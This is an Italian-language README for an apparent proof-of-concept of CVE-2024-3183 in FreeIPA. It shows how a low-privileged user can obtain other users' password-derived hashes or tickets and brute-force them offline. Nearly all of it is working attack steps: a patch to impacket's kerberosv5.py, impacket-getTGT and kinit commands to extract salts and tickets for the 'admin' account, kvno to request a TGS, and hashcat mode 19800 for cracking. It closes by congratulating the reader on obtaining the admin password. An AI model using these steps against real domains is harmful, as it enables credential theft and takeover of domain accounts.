CVE-2024-3183-POC

POC per CVE-2024-3183 (FreeIPA Rosting)

Impatto: Un utente con privilegi bassi può ottenere un hash delle password di tutti gli utenti del dominio ed eseguire un brute force offline (kerberoasting).

Patch per impacket-getTGT:

1. Aggiungi decoder.decode.defaultErrorState = stGetValueDecoderByTag a impacket/krb5/kerberosv5.py.
2. Divertiti!

POC1:

1. Aggiungi decoder.decode.defaultErrorState = stGetValueDecoderByTag a impacket/krb5/kerberosv5.py.
2. Puoi usare impacket-getTGT con le opzioni -service e -debug per ottenere il salt in un unico comando. impacket-getTGT test.local/user -debug -service admin

POC2:

1. Per prima cosa, richiediamo un ticket TGT per un utente già compromesso "admin". kinit user
2. In secondo luogo, scopriremo il salt dell'utente "admin": printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt
3. Ottieni TGS per "admin": kvno admin
4. Usa lo script python (o hashcat mod 19800 con salt specifico) per il brute force del TGS

1 - TGS, 2 - SALT, 3 - Password.

5. Congratulazioni, ora abbiamo la password dell'utente “admin”.

POC3:

1. Puoi usare kinit per un'unica mossa: kinit -S target user

e ottieni un TGT cifrato con la chiave dell'utente target.